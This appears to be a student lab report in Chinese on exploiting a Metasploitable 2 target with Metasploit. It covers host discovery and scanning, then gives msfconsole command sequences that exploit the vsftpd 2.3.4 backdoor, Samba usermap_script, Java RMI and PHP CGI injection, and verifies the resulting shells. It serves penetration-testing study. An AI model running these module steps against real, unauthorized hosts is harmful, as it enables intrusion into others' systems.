一、实验内容
1.实验内容
（1）前期渗透
①主机发现（可用Aux中的arp_sweep，search一下就可以use）
②端口扫描：可以直接用nmap，也可以用Aux中的portscan/tcp等。
③选做：也可以扫系统版本、漏洞等。
（2）Vsftpd源码包后门漏洞（21端口）
漏洞原理：在特定版本的vsftpd服务器程序中，被人恶意植入代码，当用户名以“: )”为结尾，服务器就会在6200端口监听，并且能够执行任意代码。
（3）SambaMS-RPC Shell命令注入漏洞（端口139）
漏洞原理：Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时，通过对/bin/sh的MS-RPC调用提交了恶意输入的话，就可能允许攻击者以nobody用户的权限执行任意命令。
（4）Java RMI SERVER命令执行漏洞（1099端口）
漏洞原理：Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞，可被利用导致代码执行。
（5）PHP CGI参数执行注入漏洞（80端口）
漏洞原理：CGI脚本没有正确处理请求参数，导致源代码泄露，允许远程攻击者在请求参数中插入执行命令。
2.学习总结
1）MST基本框架
Metasploit：是一款开源安全漏洞利用和测试工具，集成了各种平台上常见的溢出漏洞和流行的shellcode。
2）基本命令
指定设置的模块
use [auxiliary（辅助模块）&exploit（攻击模块）&payload（攻击载荷）&encode（编译器模块）]
显示可使用的模块或选项
show [exploits&payloads&encoder&auxiliary&options]：
设定选项或模块
set [options&payload]
启用模块
run&exploit
取消当前指定模块，同时返回上级目录
back
查看这个模块的详情
info
搜索符合条件的模块
search
检查指定特定目标是否存在安全漏洞，并且能被exploit（攻击模块）利用
check
查看当前会话
sessions
二、实验过程
1.前期渗透
1）主机发现
获取靶机ip地址。使用
ifconfig得到地址为192.168.226.157
输入msfconsole进入msf控制台
依次输入search arp_sweep use 0 set RHOSTS 192.128.226.157 run
输入nmap -p 1-2048 192.168.226.157查看靶机开放的端口
2.使用Aux中的portscan/tcp
输入以下命令search portscan/tcp use 0 set RHOSTS 192.168.226.157 exploit
3）选做：系统版本扫描
依次输入
search auxiliary/scanner/smb/smb_version use 0 set RHOSTS 192.168.226.157 exploit
2.Vsftpd源码包后门漏洞（21端口）
1）执行攻击
在msfconsole中，依次输入以下命令
search exploit/unix/ftp/vsftpd_234_backdoor use 0 set RHOSTS 192.168.226.157 run
2）验证攻击
执行uname –a、 pwd、 id等命令 验证
3.SambaMS-RPC Shell命令注入漏洞（端口139）
1）执行攻击
在msfconsole中，依次输入以下命令
search exploit/multi/samba/usermap_script use 0 set RHOSTS 192.168.226.157 run
2）验证攻击
执行uname –a、 pwd、 id等命令验证
4.Java RMI SERVER命令执行漏洞（1099端口）
1）执行攻击
在msfconsole中，依次输入以下命令
search exploit/multi/misc/java_rmi_server use 0 set RHOSTS 192.168.226.157 run
2）验证攻击
执行uname –a、 pwd、 id等命令验证
5.PHP CGI参数执行注入漏洞（80端口）
1）执行攻击
在msfconsole中，依次输入以下命令
search use exploit/multi/http/php_cgi_arg_injection use 0 set RHOSTS 192.168.226.157 run
2）验证攻击
输入
shell获取shell
执行uname –a、 pwd、 id等命令验证
三、问题及解决方案
-无
四、学习感悟、思考
在实验前，我对 Metasploit 的认知仅停留在 “调用模块” 的表层操作，而本次实验让我实现了从 “工具使用者” 到 “原理理解者” 的转变。例如针对Vsftpd 2.3.4 后门漏洞（21 端口） 的利用，起初我仅按步骤输入指令，当看到攻击成功后靶机 6200 端口开放并获取 root 权限时，虽有成就感却不明其理。直到回顾漏洞原理 ——“恶意植入代码监测用户名末尾的‘😃’符号，触发后门并开放端口”，我才意识到：这类人为植入的后门漏洞，本质是软件供应链安全的缺失，也让我明白 “使用过时软件版本” 会带来的致命风险。
实验初期的前期渗透环节（主机发现、端口扫描、漏洞探测），让我深刻体会到 “信息收集决定渗透成败”。在主机发现阶段，我最初使用普通用户权限运行arp_sweep模块，结果因 “权限不足无法捕获网段数据” 失败，这与之前解决 “Socket: OPERATION not permitted” 错误的经验相呼应，最终通过sudo msfconsole以 root 权限启动框架，成功定位到靶机 IP（192.168.226.151）。这一细节让我明白：权限管理是网络安全的基础，即使是合法的渗透测试，也需遵循 “最小权限原则” 与 “授权操作规范”。
端口扫描环节，我同时尝试了nmap -sS -sV与 Metasploit 的portscan/tcp模块。对比发现，nmap 的版本探测更精准（如明确 21 端口为 vsftpd 2.3.4），而 Metasploit 模块可直接将扫描结果与漏洞库关联，两者结合能形成 “信息互补”。这让我总结出：渗透测试中不存在 “单一最优工具”，需根据场景选择合适工具，而 “多工具交叉验证” 是提升信息准确性的关键。
参考资料
- Metasploitable 2 Exploitability Guide